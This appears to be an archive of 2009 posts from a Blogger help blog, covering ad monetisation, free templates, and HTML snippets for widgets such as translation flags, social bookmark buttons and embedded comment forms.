<link href='URL of your favicon image' rel='shortcut icon'/>

Replace URL of your favicon image in the code with your favicon image url.

STEP IV - Now goto > Dashboard > Layout > Edit Html > Expand Widget Templates.

STEP V - Place the code below - <head>

Save your template and you are done.

How to make money with your Blogger blog ?

2009-07-28T00:45:00.009-07:00

Though some bloggers write blog just as a passion and not for money while many others are looking towards it as a profession and a good source of income. Many bloggers had quit their earlier jobs and took blogging as their full-time profession.

After setting a blog and getting some good traffic now it's time to make some money from your Blogger blog.

Here are some ways by which you can monetize your Blogger blog -

I. Showing Contextual Ads -

This is the most commonly used method of earning from a blog.Lots of bloggers are making thousands of dollars with this method.

In a broad sense, contextual ads are , 'ads related to the text material on your blog'. A contextual ads system scans the text of a wbpage for keywords and depending upon the keyword density displays ads on that pages.
e.g. if your blog is about games, you will get ads like - free games, game reviews etc.

Here you are paid for each click, hence also called as Pay Per Click i.e PPC ads.

Their are many networks showing contextuals ads, but I'll list some important players only -

1. Google Adsense - Father of all contextual advertising networks, more than 90% of webstites dispays Google Adsense ads.

2. Kontera - This can be used alongwith Gooogle Adsense on same site. This is a better option as an Adsense supplement. Being inline ads consumes no space on your blog.

3. Adbrite - Most common alternative for those banned from Google, but earnings can be quite low when compared to Google Adsense.( you just can't risk getting banned from Adsense.)

4. Bidvertiser - Again an alternative for those banned from Google Adsense, very less chances that your ads inventory will be full, again earnings not that good.

5. WidgetBucks - Visually good ads but get very less clicks hence less revenue.Some bloggers (including me) consider it a scam.

Others about which I've heard only once or twice are - Clicksor, PepperjamNetwork , etc.

II. Affiliate Marketing -

If the blogger have required skills then he can earn a lot with Affiliate Marketing.Beacause I am myself not that successful with affiliate marketing i'll not talk much about it.

But i'll give some basic idea about it. According to wikipedia, Affiliate marketing is -

Affiliate marketing is an Internet-based marketing practice in which a business rewards one or more affiliates for each visitor or customer brought about by the affiliate's marketing efforts.

In simple words - you sell some products on your site and get some commission on each sale.

Some important Affiliate Marketing networks are -

III. Selling Text Links -

If your blog is having a good Google PageRank (>3) and also some good traffic then you can earn good money for placing the text-links on your blog.

But I would like to warn you that Google is strictly against selling text-links on your blogs/sites.It may fine you by decrasing your PR or even removing your site from their search-engine results(biggest example is John Chow), if Google notices it or somebody informs Google about this.So think twice befor selling text links on your blog.

Even though there is a risk, it can make some good add-on revenue for your adsense monetized blog, without taking much space on your blog

If you would like to take some risk, here are some networks -

IV.Writing Reviews about other blogs -

This also a common method not liked by Google and get you banned from Google Search Results.

But if are adding a "rel=nofollow" attribute to your clients link, then Google have no problem with it.

Here are some big players -

V. Showing CPM ads -

Here you need not require clicks for earning money, you are paid just for showing these cpm ads.

But bad news is many leading cpm networks do not accept domains with *.blogspot.com , they want their own doamin.

Hence if you are hosting your blog on custom domain, here list of top cpm ads networks -

(Get more information about top CPM ads network here.)

If you want to add anything more just comment it and i'll update the post if required.

How to add language translation flags script to Blogger blog ?

2009-07-28T00:45:00.007-07:00

Though most of the blogs are written in English, it is not the sole language used over internet. Many people think Chinese is more commonly spoken than English.

So if you want to get readers using different languages other than English , you will definitely like to add a Language translation script to your Blogger blog.

Here's how you can add this -

STEP I - Copy the foolowing code or get it from the text file here.

<form action="http://www.google.com/translate">

<script language="javascript" type="text/javascript">



</script>

<noscript><input value="http://free-blogger-help.blogspot.com/" name="u" type="hidden"/></noscript>

<input value="en" name="hl" type="hidden"/>

<input value="UTF8" name="ie" type="hidden"/>

<input value="" name="langpair" type="hidden"/>

<input onclick="this.form.langpair.value=this.value" title="Arabic" value="en|ar" type="image" height="30" src="http://photos1.blogger.com/x/blogger2/6075/564571464515337/1600/z/358406/gse_multipart12399.png" width="40" name="langpair"/>

<input onclick="this.form.langpair.value=this.value" title="中文（简体）/Chinese (Simplified)" value="en|zh-CN" type="image" height="30" src="http://photos1.blogger.com/x/blogger2/6075/564571464515337/1600/z/546049/gse_multipart12397.png" width="40" name="langpair"/>

<input onclick="this.form.langpair.value=this.value" title="中文（繁体）/Chinese (Traditional)" value="en|zh-TW" type="image" height="30" src="http://photos1.blogger.com/x/blogger2/6075/564571464515337/1600/z/208681/gse_multipart12398.png" width="40" name="langpair"/>

<input onclick="this.form.langpair.value=this.value" title="Français/French" value="en|fr" type="image" height="30" src="http://photos1.blogger.com/x/blogger2/6075/564571464515337/1600/z/327620/gse_multipart12413.png" width="40" name="langpair"/>

<input onclick="this.form.langpair.value=this.value" title="Deutsch/German" value="en|de" type="image" height="30" src="http://photos1.blogger.com/x/blogger2/6075/564571464515337/1600/z/734899/gse_multipart12400.png" width="40" name="langpair"/>

<input onclick="this.form.langpair.value=this.value" title="Italiano/Italian" value="en|it" type="image" height="30" src="http://photos1.blogger.com/x/blogger2/6075/564571464515337/1600/z/306145/gse_multipart12401.png" width="40" name="langpair"/>

<input onclick="this.form.langpair.value=this.value" title="日本語/Japanese" value="en|ja" type="image" height="30" src="http://photos1.blogger.com/x/blogger2/6075/564571464515337/1600/z/443122/gse_multipart12402.png" width="40" name="langpair"/>

<input onclick="this.form.langpair.value=this.value" title="한국어/Korean" value="en|ko" type="image" height="30" src="http://photos1.blogger.com/x/blogger2/6075/564571464515337/1600/z/581031/gse_multipart12403.png" width="40" name="langpair"/>

<input onclick="this.form.langpair.value=this.value" title="Português/Portuguese" value="en|pt" type="image" height="30" src="http://photos1.blogger.com/x/blogger2/6075/564571464515337/1600/z/670301/gse_multipart12404.png" width="40" name="langpair"/>

<input onclick="this.form.langpair.value=this.value" title="Русский/Russian" value="en|ru" type="image" height="30" src="http://photos1.blogger.com/x/blogger2/6075/564571464515337/1600/z/111692/gse_multipart12405.png" width="40" name="langpair"/>

<input onclick="this.form.langpair.value=this.value" title="Español/Spanish" value="en|es" type="image" height="30" src="http://photos1.blogger.com/x/blogger2/6075/564571464515337/1600/z/998398/gse_multipart12407.png" width="40" name="langpair"/>

</form>

Replace the characters in bold green with your blog's url.

STEP II - Now Goto > Dashboard > Layout > Add Gadget > HTML/Javascript.

STEP III - Place the above code in text field and 'Save'.

Check your blog, it looks like as follows -

That's it you have successfully added the Language Translation Falgs and Script to your blog.

Feel free to leave a comment if you have any difficulty.

Can I have two adsense account of same name and or address and or e mail ID ?

2009-07-28T00:45:00.005-07:00

I am using Google adsense from nearly 9 months. Now I wonder if can I have two adsense account of same name and or address and or e mail ID ? Then I done some search and research for this question.

You can have two adsense accounts but in two different names. Your first name should be different and you can keep last name that is surname . You can use your wife or husbands name.
e.g. John Clinton
Jane Clinton

In this case you can keep same postal address but different e mail ID .

What will happen when you use same first name and last name , address and same e mail ID ... definitely you will be BANNED by Adsense .

What is CPM ads networks ?

2009-07-28T00:45:00.003-07:00

Most probably your site or blog gets traffic from search engine like Google , Yahoo etc or direct referrals. Traffics from search engines can help in CPC i.e. cost per click ads. But visitors who visit your site regularly like direct visitors hardly clicks on these CPC ads. So what is the other way .To convert this type of traffics to revenue earning is by using CPM ads .

CPM ads means ads that can generate revenue as Cost Per thousand Impressions . CPM ads are re how much one can earn when an ad gets 1000 impressions on the website. Some pays $3 or $4 per CPM.

Say your site have 800 regular visitors and that generates 1100 impressions per day , in this case CPM ads are best over CPC ads.

CPM ads networks can also offer Cost per Click or Cost per Action or other ads and also requires traffic requirements.

Best CPM ad networks
-TribalFusion has good cpm rates
-BURST
-Fastclick etc

How to add Star Rating Widget to Blooger, Wordpress, Typepad, Drupal or any other blogging Platform

2009-07-28T00:45:00.001-07:00

You can know how much your readers / visitors like your blog posts ? You can add rating button to your blogger, wordpress, typepad, or other blog platform or any other web page , so that you will get immediate feedback from your readers .

Click here to view DEMO of blog post rating widget.

You like it ?

Then here is the easy method -

1. Login to Blogger or other platform . Here I am explaining for Blogger.

2. To get this widget click here.

3. Select (click) Blogger button. Now here are two steps . You can or cannot register . Second step is Click on Get Widget Now button.

4. You will be directed to Blogger . From the Select a Blog list choose the blog you want to add 5 star rating. You can give Title like Rate this Post. Now click on Add widget Button.

5. Click on Save .

View your blog .

10 free 2 Column Blogger Templates

2009-07-26T10:16:00.035-07:00

Many of the bloggers using Blogger don't like the default templates provided.

Hence here I am providing 10 free Blogger templates.

2 Column Blogger Templates

1. Darkspark

Author - Aborregate

Click To Download.

2. MushBlue

Click To Download.

3. Blogy Natural

Click To Download.

4. Red & White

Click To Download.

5. Jeans

Author - Infocreek

Click To Download.

6. iPhone

Click To Download.

7. Integral

Click To Download.

8. Minyx

Click To Download.

9.Emire

Click To Download.

10. iBlock for iPhone

Click To Download.

Free 3 column Blogger Template - Garland

2009-07-26T10:16:00.033-07:00

Here I found a nice 3 column template for the Blogger with blue and white combination.

Name - Garland.

Click to Download.

Making Money by Blogging.

2009-07-26T10:16:00.031-07:00

With a boom in the Information and technology there have been a great increase in the internet access.This had given rise to a new industry - "Internet Marketing",which is acheiving new highs these days.

According to Internet Advertising Bureau, this market has crossed £2 billion barrier in the year 2006 and is now heading towards £5 billion.Now everyone having a single page webpage is showing ads to earn some revenue.

Blogs as your money maker.

These days many people prefer blogs over websites.Because it's easy to use,requires no technical knowledge and above all it can be FREE.

While initially people took blogging as a part time work,but realizing it's great potential many people have quit there jobs and have become full-time bloggers.

Here are few examples -

John Chow - http://www.johnchow.com/
Jeremy Schoemaker - http://www.shoemoney.com
Darren Rowse - http://www.problogger.net/

These guys earn thousands of dollars per month(may be per day) from there blogs.

Though it requires lots of patience,but once your blog is set and getting good traffic,you can get very good returns.But like every job it requires hardwork.

Where to start ?

There are many blogging platforms available over the internet.But here are few who I think are the biggest players.

Blogger.com
Wordpress.com
Typepad.com
Tripod.com
Squarespace.com

You can get complete list here.

Of these except TypePad others are free.

Of the above 5 my favourites are Blogger and Wordpress.But I'll recommend you to use Blogge r because,in addition of being free it allows you to add HTML ads to your blog,which is not available at wordpress.

Various Advertising networks for Blogs.

Google Adsense.-The biggest Online Advertising Network on this Planet Earth.
Adbrite - Good Adsense alternative for those who have been banned from Adsense.
Kontera - You can use this as a supplement Adsense.
TextLinkAds - Once your blog is old having PR above 3 and Alexa rank >250,000 you can use it.
Chitika - Mixed views from people.I used it on my other blogs but without any success.

In addition to these you can sell your adspace directly to visitors or also use some affiliate networks.

Also you can show cpm ads from different networks,but they do not accept free bloghosts like blogger,wordpress etc.

Does it requires Technical knowledge or skills ?

No, it is not necessary that you should have technical knowledge and skills related to internet,html etc. Professionally I am Medical Student (will be a doctor in 2 years),but still I run this blog,besides this I've 5 more blogs and 1 forum.

It just require your keen interest and desire to work hard and lot of patience.

Four Beautiful 3 column blogger templates

2009-07-26T10:16:00.029-07:00

Here are some more free 3 column Blogger templates for you guys.

1. Comptech Blue

Click Here To Download

2.Bloggerized Adsense

Click Here To Download

3. Blogy Cultivado

Demo - Download

4. Blogy Puerto

Demo - Download

Always backup your original template before uploading a new one.

Click here for a complete step-by-step tutorial on how to change your Blogger Templates.

At last my blog got indexed at Google Search Engine.

2009-07-26T10:16:00.027-07:00

Today is day 9 I am happy to see that my blog is indexed at Google Search Engine at last.

During these days I added my blog to Google Webmsaters, submitted to some blog directories , and did some link exchange (mostly through comments) , also submitted my stories to social bookmarking sites like Digg!, Stumble! etc.

I use to search everyday with my blog's add. - free-blogger-help.blogspot.com at Google, but was always getting "No Results Found" page on Google.

Some 2 days before I use get other sites linking my blog (Digg!) in the results and today I got my blog listed at Google.

Since Google is the biggest search engine, getting indexed at Google is very very important for getting targetted traffic.

How to change your Blogger Template ?

2009-07-26T10:16:00.025-07:00

This is a very frequently asked question by the beginners with blogger.Even when I was a newbie I was also confused about it.

So I've decided to write a step-by-step tutorial on "How to change your Blogger Template ?".

Step I - Dashboard > Layout > Edit HTML.

Step II - Always backup your old template by downloading it. Click "Download Full Template".

Step III - Now backup all your widgets (page elements) by copying the code and pasting it on any text file.

Step IV - Now click on the Browse tab , just below it. Select the your favourite Template file (always with .xml extension) and press Upload.

Step V - If you are having any page elements in your old templates, the Blogger will remind you that you are about to delete them. Just click "Confirm & Save".

That's it you have successfully changed your blogger template and you see how it looks by clicking "View Blog".

Note : If you are having error with this method ,you can just copy the HTML code from New Templates .xml file and paste it in the text box at "Edit HTML" page after checking the "Expand
Widget Templates" box ,instead of Step IV.

Beautiful 3 column Blogger Template - Passion Duo

2009-07-26T10:16:00.023-07:00

Here are some beautiful and modern Web 2.0 templates for the Blogger having 3 columns which I got from - eBlog Templates.

1. Passion Duo Red Template.

2. Passion Duo Blue Template.

3. Passion Duo Green Template.

These are the modern money making templates for your Blogger Blog.

Features -

Modern Web 2.0 design.
Bulit-in adspaces - 468 x 60 banner spot in the header, six 125 x 125 banner spots in the right sidebar, and plenty of other sidebar spots for skyscraper banners.
Recent Posts widget.
Recent Comments widget.
Feedjit (real time visitor widget).
Fonts & Colors functionality - enables you to change the color and font using the built-in section in Blogger.
Built-in Top Tabs or Navigation Bar.
Built-in RSS feed icon.

Now let's configure these templates for your blog.

Goto - Dashboard > Layout > Edit HTML > Expand Widget Templates.

1. 468 x 60 header banner -
Search for

and place your ads code between this tag and

tag.

2. 468 x 60 Google ad above Posts -
Search for -

<div id="'ga-ads'">

and place your google ads code afters parsing between this tag and

</div>

tag.

3. 125 x 125 banner ads -
Find

and below this code,add your ads code between

<li> and </li>

4. For the top tabs goto - Dashboard > Layout > Page Elements. Click on edit button on widget named "Tabs" in the header and add your links and save.

That's it you have successfully configured the template to fit your blog now just start posting and making money from your blog.

Blogger Templates

2009-07-26T10:16:00.021-07:00

Here I've some nice collection of Blogger Templates which I would like to share with you people.

But before this you may like to know - How to change your Blogger Template ?

Please select the category of the Blogger Template you want -

Also if you have any difficulty in changing your Blogger template or want to customize your Template , just post a comment here in this post or in respected template's post.

If you have installed the templates successfully and want to show your appreciation,please do not remove the links in the footer. These guys have really done hard work to prepare those templates , just show your appreciation by keeping the footer links.

How to add an Embedded Comments Form in posts in Blogger.

2009-07-26T10:16:00.019-07:00

Many people using Blogger were not happy with the comments form available with blogger,which opens on the seperate page.There have been a long-time demand for a comment form embedded in the posts like the one in Wordpress.

At last Blogger have accepted the request and have developed an Embedded Comments Form.

Open this url - http://draft.blogger.com/ and log into your account using your Blogger id/password.

Go to - Settings > Comments

Scroll down till you see - "Comment Form Placement"

Check the box in front of "Embedded below post" and save it.

Now check any of your blog's post, whether you get the form like I am having here.

If not , go to Layout > Edit HTML > Expand Widget Templates and search this -

<b:include data='post' name='comments' />

And immediately after this add the following code -

<b:include data='post' name='comment-form'/>

Now check your post once againg,it will be showing the comments form embedded in the posts.

Increase traffic to your Blogger blog with Google Webmaster Tools

2009-07-26T10:16:00.017-07:00

Google the biggest search engine on the web , and you can get your blog indexed at Google Search Engine by using Google Webmaster's Tools.

You can use these Webmaster's Tools using your Google Account.Just visit the link above after you have logged into your blogger account.

Just add you blog's URL in the "Click here to add site box" and press "Add Site".

Next Step is to verify your blog.

In the "Choose Verification Method" box,select "Add a meta tag".

Now you will get a code looking like this-

<meta name="verify-v1" content="4m13erZoSX4XyeWw/nNxYTtr+ONIzBy8ZnOMT1TDtuM=" />

Copy this code and goto your Blogger's-

Dashboard > Layout > Edit HTML.

Look for this tag - "<head>" and place the code below this tag. and click "Save Template"

Now in your Webmaster's Tools page click the verify button and yoy will see a page saying your site is verified.

Adding Blogger Blog's Sitemap to Google Webmaster's Tools.

Now this is the important step and also quite difficult if you donot know how to create a sitemap for your Blogger Blog.

Now just goto your Google Webmaster's Tools Dashboard and click on add option below sitemap.

It will ask you to choose type .... select "Add General Web Sitemap"

Now just add "atom.xml" besides your blog address like this -

http://yourblog.blogspot.com/atom.xml

Click "Add General Web Sitemap" and your sitemap is added to Google without anymore hassels.

By submitting your sitemap to Google you tell the Google Search Engine more about your blog,the pages it's having and it's content,helping you index more pages from your Blogger blog into Google Search Results, ultimately getting you more visitors.

As this a feed sitemap you need not update it manually, it will get updated automattically whenever you make new posts.

How to check whether your site is indexed in Google Search Engine or not ?

Here is a simple method - goto Google.com and search for "site:YOURBLOG.blogspot.com" and you can know whether your site is indexed in Google or not and if it's indexed then how many pages are indexed in Google Search Engine.

How to add Social Bookmarks Buttons/Icons after every post in Blogger?

2009-07-26T10:16:00.015-07:00

At many blogs you have seen the social bookmarking buttons, which by one-click submit your article to the Social Bookmarking sites like - digg , del.icio.us , stumbleupon , yahoo , google , furl , etc.

How does the Social Bookmarking helps ?

By adding these social bookmarking buttons/icons, either you or any of your reader can submit your article to these sites. Now when your article is listed here at these sites , there is a chance that you can get some visitors of millions using these social bookmarking sites.

So in addition to make your site look beautiful and professional these social bookmarking buttons/icons help you get more traffic to your site.

How to add these Social Bookmarking Icons/Buttons to my Blogger Blog after each post ?

Here's the step-by-step guide for you -

STEP I - Goto = Dashboard > Layout > Edit HTML > Expand Widget Templates

STEP II - Now find this in your template -

<head>

STEP III - Just add this after that tag -

<script src='http://free.blogger.help.googlepages.com/socialbookmarks.js'></script>

So that it looks like this -

<head><script src='http://free.blogger.help.googlepages.com/socialbookmarks.js'></script>

STEP I V- Now find this in you template -

<p class='post-footer-line post-footer-line-3'>

STEP V- Add the following after this line -

<style type='text/css'>
.bookmark img { border: 0;
padding:0px; }
.bookmark a:hover {
position: relative;
top: 1px;
left: 1px; }
</style>
<span class='bookmark'>
<table align='left' border='0' cellpadding='0' width='100%'>
<tr>
<td style='vertical-align:middle' valign='middle' width='30%'>
<div expr:id='"sbtxt"+data:post.id'>Bookmark this post<a style="text-decoration:none;" href="http://free-blogger-help.blogspot.com">:</a></div><script type='text/javascript'>showsbtext("sbtxt" + "<data:post.id/>",0)</script>
</td>
<td>
<a rel="nofollow" expr:href='"http://www.stumbleupon.com/submit?url=" + data:post.url + "&title=" + data:post.title' expr:onmouseout='"javascript:showsbtext("sbtxt" + data:post.id + "",0);"' expr:onmouseover='"javascript:showsbtext("sbtxt" + data:post.id + "",19);"' target='_blank'><img alt='StumpleUpon' src='http://files.bloggerplugins.org/icon_sb_stumb.gif'/></a> <a rel="nofollow" expr:href='"http://ma.gnolia.com/bookmarklet/add?url=" + data:post.url + "&title=" + data:post.title' expr:onmouseout='"javascript:showsbtext("sbtxt" + data:post.id + "",0);"' expr:onmouseover='"javascript:showsbtext("sbtxt" + data:post.id + "",6);"' target='_blank'><img alt='Ma.gnolia' border='0' src='http://files.bloggerplugins.org/icon_sb_mag.gif'/></a>
<a rel="nofollow" expr:href='"http://digg.com/submit?phase=3&url=" + data:post.url' expr:onmouseout='"javascript:showsbtext("sbtxt" + data:post.id + "",0);"' expr:onmouseover='"javascript:showsbtext("sbtxt" + data:post.id + "",1);"' target='_blank'><img alt='DiggIt!' src='http://files.bloggerplugins.org/icon_sb_dig.gif'/></a> <a rel="nofollow" expr:href='"http://del.icio.us/post?url=" + data:post.url + "&title=" + data:post.title' expr:onmouseout='"javascript:showsbtext("sbtxt" + data:post.id + "",0);"' expr:onmouseover='"javascript:showsbtext("sbtxt" + data:post.id + "",2);"' target='_blank'><img alt='Del.icio.us' src='http://files.bloggerplugins.org/icon_sb_del.gif'/></a> <a rel="nofollow" expr:href='"http://www.blinklist.com/index.php?Action=Blink/addblink.php&Description=&Url=" + data:post.url + "&Title=" + data:post.title' expr:onmouseout='"javascript:showsbtext("sbtxt" + data:post.id + "",0);"' expr:onmouseover='"javascript:showsbtext("sbtxt" + data:post.id + "",3);"' target='_blank'><img alt='Blinklist' src='http://files.bloggerplugins.org/icon_sb_bli.gif'/></a> <a rel="nofollow" expr:href='"http://myweb2.search.yahoo.com/myresults/bookmarklet?u=" + data:post.url + "&=" + data:post.title' expr:onmouseout='"javascript:showsbtext("sbtxt" + data:post.id + "",0);"' expr:onmouseover='"javascript:showsbtext("sbtxt" + data:post.id + "",4);"' target='_blank'><img alt='Yahoo' src='http://files.bloggerplugins.org/icon_sb_yah.gif'/></a> <a rel="nofollow" expr:href='"http://www.furl.net/storeIt.jsp?u=" + data:post.url + "&t=" + data:post.title' expr:onmouseout='"javascript:showsbtext("sbtxt" + data:post.id + "",0);"' expr:onmouseover='"javascript:showsbtext("sbtxt" + data:post.id + "",8);"' target='_blank'><img alt='Furl' src='http://files.bloggerplugins.org/icon_sb_fur.gif'/></a> <a rel="nofollow" expr:href='"http://www.technorati.com/cosmos/search.html?url=" + data:post.url' expr:onmouseout='"javascript:showsbtext("sbtxt" + data:post.id + "",0);"' expr:onmouseover='"javascript:showsbtext("sbtxt" + data:post.id + "",9);"' target='_blank'><img alt='Technorati' src='http://files.bloggerplugins.org/icon_sb_tec.gif'/></a> <a rel="nofollow" expr:href='"http://www.simpy.com/simpy/LinkAdd.do?href=" + data:post.url + "&title=" + data:post.title' expr:onmouseout='"javascript:showsbtext("sbtxt" + data:post.id + "",0);"' expr:onmouseover='"javascript:showsbtext("sbtxt" + data:post.id + "",10);"' target='_blank'><img alt='Simpy' src='http://files.bloggerplugins.org/icon_sb_sim.gif'/></a> <a rel="nofollow" expr:href='"http://www.spurl.net/spurl.php?url=" + data:post.url + "&title=" + data:post.title' expr:onmouseout='"javascript:showsbtext("sbtxt" + data:post.id + "",0);"' expr:onmouseover='"javascript:showsbtext("sbtxt" + data:post.id + "",11);"' target='_blank'><img alt='Spurl' src='http://files.bloggerplugins.org/icon_sb_spu.gif'/></a> <a rel="nofollow" expr:href='"http://reddit.com/submit?url=" + data:post.url + "&title=" + data:post.title' expr:onmouseout='"javascript:showsbtext("sbtxt" + data:post.id + "",0);"' expr:onmouseover='"javascript:showsbtext("sbtxt" + data:post.id + "",17);"' target='_blank'><img alt='Reddit' src='http://files.bloggerplugins.org/icon_sb_red.gif'/></a> <a rel="nofollow" expr:href='"http://www.google.com/bookmarks/mark?op=add&bkmk=" + data:post.url + "&title="+data:post.title' expr:onmouseout='"javascript:showsbtext("sbtxt" + data:post.id + "",0);"' expr:onmouseover='"javascript:showsbtext("sbtxt" + data:post.id + "",20);"' target='_blank'><img alt='Google' src='http://files.bloggerplugins.org/icon_sb_goo.gif'/></a>
</td>
</tr>
</table><br/>
</span>

STEP V- Now save template and check your blog, it should like the one I've in my blog here.

Feel free to comment if you like this post or if you are having any difficulty trying it.

How to add Google Adsense Ads code to Blogger Blog ?

2009-07-26T10:16:00.013-07:00

Now there have been a lot increase in the people seeking Blogging as a source of their income. Many of these new Bloggers don't have the technical knowledge realted to internet and web deisgn like html,java etc.

That's why this is the most common question the new bloggers have while starting blogging.Even I had the same problem when I started blogging and wanted to put Google Adsense ads on my blog.I started blogging using free wordpress (myphone3250.wordpress.com), and was not knowing that Wordpress does not allow you to add HTML code to your blog.But I tried and ended up getting my blog suspended by Wordpress.

Then I made Blogger blog and after that never have to look back from then.

So here is step-by-step guide for - How to add Google Adsense Ads code to your Blogger Blog -

Step I - Login to your Adsense account. Goto > Adsense Setup > Adsense Content (if you want to add Adsense search click Adsense for Search).After selecting your Ad format,click continue and finally Submit and Get Code.

Step II - Now copy the code and login to your Blogger account.

Step III - Goto > Dashboard > Layout.

Step IV - Click on "Add Page Element" on whatever place you want to place Google Adsense Ads (like sidebar,footer,header,before or after main post,etc.)

Step V - Now in the list look for "HTML/Javascript" and click "Add to Blog"

Step VI - Leave the title blank(or put headng like "Sponsored Ads") and paste the code you copied from Google Adsense in the box below.Click save and you are done.

You can also drag and drop the box and place it wherever you want on your "Page Elements" page.Click save if you have changed the position of the ads.

Now have a look at your blog it will be showing Google Adsense ads.

Imp. Note: It takes at least 10 mins. for your Google Adsense ads to dislpay on your blog after you have created them on Google Adsense.

Apple iPhone 3G Coming Soon on Airtel in India.

2009-07-26T10:16:00.011-07:00

I was just checking my inbox in morning and was surprised to check this email from Airtel about launch of Apple iPhone 3G in India.

Like many others I am also waiting desperately to get a hand on this Hi-Tech Gadget which has been declared "Invention of Year" for 2007 by Time.

Though it's been available since long in the Grey Market at some 25,000 - 30,000 bucks, but still I wanted to buy it's legally unlocked version.

In India Bharati Airtel and Vodafone declared that they are going to launch the Apple iPhone 3G soon.Though they didn't mention the Official Date for launch,their have been news that it's probably the month of September.

Now you may be thinking how I got this email from Airtel,.....actually I Booked the iPhone on Airtel's site.You can also Book an Apple iPhone 3G for yourself with Airtel HERE.

If you want to Register it with Vodafone you can do it here.

But still it's not clear when it is going to launch oficially in India.

You can see the list of countries where Apple iPhone is available and where it is going to be available soon here. Though India is also listed in the "Coming Soon" list but still no official date of launch.

Let's see when does Apple launches this "Invention of Year 2007in India.

How to add Google Adsense ads code in main post of Blogger Blog ?

2009-07-26T10:16:00.009-07:00

As you may see that I've added the Google Adsense Ads code in my main post just below the title of the post.

It is the adspace getting me more clicks than other ad spaces.Also it is some of the most popular tips to increase your earnings form Google Adsense.

By placing the Google Adsense ads in the main post body,your ads will attract more attention of your readers and get more CTR i.e "Click Through Rate",ultimately increasing your Google Adsense earnings.

Here is the Step-by-Step Guide on how to do it -

Step I - First of all login to your Adsense account. Goto > Adsense Setup > Adsense Content (if you want to add Adsense search click Adsense for Search).After selecting your Ad format,click continue and finally Submit and Get Code.

Step II - Now copy the adsense .

Step III - Now you will have the make the code compatible,so that it will work with Blogger template. If you put the code as you get it from Google Adsense,your ads will not appear.You will have to PARSE the code.Parsing the Google Ads code is not against its policies.
You can parse the code at this site - Blogcrowds. Just paste your code in the box and click "Parse" and you will get the parsed code.

Step IV - Now login to your Blogger account and goto - Dashboard> Layout > Edit HTML > Expand widget Templates.

Step V - Search for this tag -

<div class='post-body entry-content'>

Step VI - Now place your parsed Google Adsense Code just below this tag and click "Save Template".

That's it,check your blog and you will see Google Ads in your main post just below the title of the post.
Step VII - If you want to paste it after the post body in the Footer of the post,just search for tis tag -

<div class='post-footer-line post-footer-line-1'>

and place your parsed Google ads code below this tag and click "Save Template".

If you want that the Google Ads should appear after each post you can do it by -----

---Goto page elemenst and in Blog Posts click edit,there you will get option of "Show Ads between Posts",just select the box and choose the style of ads and save it.

Feel free to comment if you have any difficulties in implementing these steps.

24 Default 2 column Blogger Templates converted into 3 column templates.

2009-07-26T10:16:00.007-07:00

The Blogger provides total of 24 default templates,but all of them are 2 column.

Now-a-days due to a boom in blog monetization with Google Adsense and other Ad networks,there have been a demand of 3 column templates.

Here I am providing the 3 column versions of the default 2 column Blogger template3.

1. 565 Template

Click to Download

2. 897 Template

Click to Download

3. Denim Template

Click to Download

4. Denim Washed Template

Click to Download

5. Denim Light Template

Click to Download

6. Dots Template

Click to Download

7. Dots Dark Template

Click to Download

8. Harbour Template

Click to Download

9. Herbert Template

Click to Download

10. Minima White Template

Click to Download

11. Minima Black Template

Click to Download

12. Minima Blue Template

Click to Download

13. Minima Ochre Template

Click to Download

14. Son of Moto Template

Click to Download

15. Ms. Moto Template

Click to Download

16. Rounders -01 Template

Click to Download

17. Rounders -02 Template

Click to Download

18.Rounders -03 Template

Click to Download

19. Sand Dollar Template

Click to Download

20. Scribe Template

Click to Download

21. Thisaway Template

Click to Download

22. Thisaway Blue Template

Click to Download

23. TicTac Template

Click to Download

24.TicTac Blue Template

Click to Download

If you don't know how to change your Blogger Template,you can get a complete step-to-step guide here.

If you have any difficulty in using these templates on your blog feel free to comment here.

How to remove the default top navbar from Blogger Blog ?

2009-07-26T10:16:00.005-07:00

Blogger by default provides a navbar at top which looks like below -

There are lots of features avaiable with this navbar like -

A search blog box
Flag the content in the blog option.
Next Blog option.
If you are signed into your blogger account,then Dashboard and Signout option.

Though it's quite useful for the blog users,some blogger want to remove the navbar mostly for the reason of improving the look of the blog.

So, here's step-to-step guide on how to remove default Blogger navbar -

STEP I - Login to Blogger > Layout > Edit HTML.

STEP II - Now copy the following code -

#navbar-iframe {
visibility: hidden;
}

STEP III - Place the above code anywhere below this tag -

<head>

STEP IV - Save template.

That's it you have successfully removed the Default Blogger Navbar.Check your Blog.

How to Add Popular Posts widget to Blogger Blogs ?

2009-07-26T10:16:00.003-07:00

Many of the Bloggers want to show their users list of the Most Popular posts on their blog.Many such "Popular Posts" widgets have been available for Wordpress blogs but there was none available for Blogger blogs.

Recently one such widget have been devised for Blogger.It is based on the number of comments each post gets.So,the most commented post will be the Most Popular Post of your Blogger Blog.The script checks last 5000 comments made on your blog,and displays the post titles with their URL's followed by no. of comments in bracket,in the descending order of their popularity.

How to install this Popular Posts widget on your blog?

Below is a quick installer,just enter the values for "Widget Title" and "Blog URL",click "Customize" and "Add to my Blog".

Once you click "Add to my Blog" button,you will be directed to the Widget installer page,where you can select on which of your Blogger Blogs the Popular Posts widget is to be installed.

P.S. - Please do not add "http://" while adding your blogs url in the above form,or your Popular Posts widget will not work.

How to add Top Commentators widget to Blogger blog ?

2009-07-26T10:16:00.001-07:00

Again a very popular Wordpress plugin - Top Commentators,is now available for Blogger.

Here is a widget which displays a list of 10 readers of your blog who comment more often.This is a very helpful method to encourage your readers to comment on your blog.

This widget processes last 500 comments on your blog and displays them in descending order of commenting frequency.

Again, below is a quick installer,just fill in the values for your blog , add your name in the 'Filter your name' option , click 'Customize' and finally 'Add to Blog'.

Once you click 'Add to Blog' button, you will directed to Blogger Widget Installer page.

Just select the Blog where you want to add Top Commentator widget and install it.

P.S. - Please do not add "http://" while adding your blogs url in the above form,or your Popular Posts widget will not work.

How to show only specific number of posts in Labels page for Blogger ?

2009-07-26T10:15:00.063-07:00

Whenever you click on any of the labels on the Blogger blog,it displays all the posts made under that label. This is by default in Blogger.

But many Bloggers want to show only specific number of posts on their labels page like 2 or 3 or 4 etc.

Here is a step-by-step guide on how to show only specific number of posts on the labels page in Blogger -

STEP I - First of all install a labels widget on your blog if you haven't installed it yet.(It's available in the "Add Page Element" menu.)

STEP II - Goto - Layout > Edit HTML > Expand Widget Templates.

STEP III - Find this code -

<b:widget id='Label1' locked='false' title='Labels' type='Label'>

The number in red may be other like 2,3 etc. depending upon how many labels widget you have.

STEP IV - Below this widget code,find this -

<a expr:dir='data:blog.languageDirection' expr:href='data:label.url'>
<data:label.name/>
</a>
</b:if>
<span dir='ltr'>(<data:label.count/>)</span>

